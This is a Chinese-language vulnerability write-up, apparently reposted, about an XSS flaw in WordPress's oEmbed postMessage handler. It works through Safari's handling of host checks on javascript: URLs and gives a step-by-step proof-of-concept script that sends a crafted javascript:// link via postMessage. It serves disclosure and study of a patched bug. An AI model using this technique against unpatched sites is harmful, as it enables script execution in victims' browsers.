当前位置: 首页 > news >正文

WordPress开放嵌入自动发现功能中的XSS漏洞分析

WordPress开放嵌入自动发现功能中的XSS漏洞

引言

用户常常认为已知软件经过足够多的工具和安全测试人员检查后就没有安全漏洞了。然而,渗透测试人员或漏洞猎人不能抱有这种假设。漏洞可能潜伏在各种地方,找到一个有趣的漏洞通常需要耐心搜索。

应用这种方法,我在知名CMS WordPress中发现了一个XSS类漏洞,下文将详细描述。

什么是postMessage()?

为了理解我的思路和方法,首先需要讨论postMessage()是什么。它是Web API的一部分,允许Window对象之间进行安全跨源通信,这意味着该方法可以从一个窗口向另一个窗口发送消息,无论它们的来源如何。但是,错误使用此功能可能会打开潜在的安全漏洞向量,例如本文讨论的XSS。

根本原因

让我们看看问题的核心——JavaScript postMessage处理程序:

if (c.wp.receiveEmbedMessage = function(e) {var t = e.data;if (t)if (t.secret || t.message || t.value)if (!/[^a-zA-Z0-9]/.test(t.secret)) {for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)n[o].style.display = "none";for (o = 0; o < s.length; o++)if (r = s[o],e.source === r.contentWindow) {if (r.removeAttribute("style"),"height" === t.message) {if (1e3 < (i = parseInt(t.value, 10)))i = 1e3;else if (~~i < 200)i = 200;r.height = i}if ("link" === t.message)if (a = d.createElement("a"),i = d.createElement("a"),a.href = r.getAttribute("src"),i.href = t.value,i.host === a.host)if (d.activeElement === r)c.top.location.href = t.value}}
}

在这段代码中可以注意到:

  • 需要知道secret(但它是作为嵌入网页的location.hash提供的,所以不是问题)
  • 只有内容窗口可以发送postMessages(这很好,因为这是攻击者网站)
  • 如果postMessage数据的message属性具有link值——会发生疯狂的事情

最重要的是c.top.location.href = t.value,其中t是攻击者控制的postMessage数据。

如果攻击者使用javascript:alert(document.domain)作为t.value,最后一点显然可能导致XSS,但在发生之前会进行重要检查:

if (a = d.createElement("a"),i = d.createElement("a"),a.href = r.getAttribute("src"),i.href = t.value,i.host === a.host)

这段代码检查t.value中提供的主机名是否与嵌入页面的主机名相同。它创建<a>元素,但t.value作为href属性,然后获取创建的URL的主机属性。这种方法当然比某些正则表达式魔法更好:winking_face:,但Safari浏览器有特定行为:

> var a = document.createElement("a")
> a.href="javascript://google.com/%0aalert(document.domain);//"
> console.log(a.host)
< google.com

所有其他浏览器在使用javascript:方案时返回空字符串,但Safari不会。这可能导致攻击者使用javascript方案并在顶级窗口(受害者的博客)中执行javascript代码。

复现步骤

  1. 获取一个恶意的WordPress实例
  2. 编辑wordpress/wp-includes/theme-compat/embed.php文件并添加自定义HTML代码:
<script>
if(document.location.hash.indexOf("secret") != -1) {secret = document.location.hash.split("=")[1];window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");
}
</script>
  1. 在攻击者博客上创建任何帖子,发布并获取其URL
  2. 在受害者WordPress站点(Safari)中添加新帖子,嵌入来自受害者WordPress的帖子
  3. 警报执行:

总结

这项分析和发现的漏洞表明,即使是广泛使用的平台如WordPress也不能免于XSS等已知漏洞。

我们在JavaScript postMessage处理程序中发现的问题显示了渗透测试人员如何利用对不同Web浏览器工作原理的深入了解,攻击被认为安全的函数。这个问题现在已经修复,但它向所有创建网站和Web应用程序的人传达了一个明确的信息:安全审计需要持续进行并覆盖所有Web浏览器。

参考文献

  • https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5
  • https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    公众号二维码
http://www.gsyq.cn/news/9030.html

相关文章:

  • Python lambda
  • Android Studio 配置国内源
  • PyCharm项目上传GitHub仓库(笔记) - 教程
  • 从RAG出发
  • Ubuntu 24.04 安装 DaVinci Resolve
  • 图解26:老生常谈的OSI网络模型
  • 【C++】指针
  • 详细介绍:前端学习——CSS
  • 用 Go 编写验证码识别脚本(基于 Tesseract)
  • 数据结构 静态链表的实现(算法篇) - 详解
  • ADS放入元器件include和DK.zip文件依然提示未定义
  • AI元人文(十三):良知觉醒——论三值伦理模型与元道德主体的诞生
  • Oracle EBS ERP——常见查询业务场景 - 指南
  • 图解24:8种常用的缓存淘汰策略
  • JS设计模式-模块模式
  • 利用Burpsuite实现抓取https流量
  • RTX4090双卡本地布署QwenImage模型并生成OpenAI API - yi
  • ubuntu22.04下搭建iRedMail邮件服务器 - 实践
  • 深入解析:SQL语句优化的步骤详解
  • 图解22:扩展系统的最佳8种策略
  • Winform项目添加WPF
  • 本地免费使用网页表格控件websheet
  • 图解21:Redis为什么这么快
  • 图解20:API接口12种安全措施
  • C#文件操作入门
  • python2.7+pandas
  • SAP集成HTTP接口(x-www-form-urlencoded格式)
  • iText与OpenPDF使用差异及中文处理完全指南 - 实践
  • 在Go中构建应用级IP防火墙机制
  • PCIe 8.0 v0.3草案公布:SSD硬盘能飙1TB/s速度